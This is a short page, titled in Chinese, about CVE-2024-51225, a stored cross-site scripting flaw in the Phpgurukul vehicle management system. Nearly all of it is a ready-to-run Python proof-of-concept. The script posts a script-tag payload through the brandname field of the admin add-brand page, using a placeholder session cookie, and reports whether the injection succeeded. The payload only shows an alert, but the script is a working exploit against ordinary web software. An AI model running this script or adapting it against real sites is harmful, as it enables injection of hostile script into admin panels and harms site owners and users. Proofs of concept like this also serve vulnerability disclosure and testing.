CVE-2024-51225 Phpgurukul车辆管理系统存储型XSS漏洞

# Proof of Concept for CVE-2024-51225 # This script demonstrates the Stored XSS vulnerability in the brandname parameter. import requests target_url = "http://target-ip/admin/add-brand.php" # The payload to be injected payload = "<script>alert('CVE-2024-51225 XSS');</script>" # Data to be sent in the POST request # Parameter names might vary, 'brandname' is specified in the CVE description data = { "brandname": payload, # Other required parameters might be needed for the form submission "submit": "submit" } # Note: Authentication is required (PR:H) cookies = { "PHPSESSID": "logged_in_session_id_here" } try: response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("Payload injected successfully.") print("Check the brand listing page to verify execution.") else: print("Failed to inject payload.") except Exception as e: print(f"An error occurred: {e}")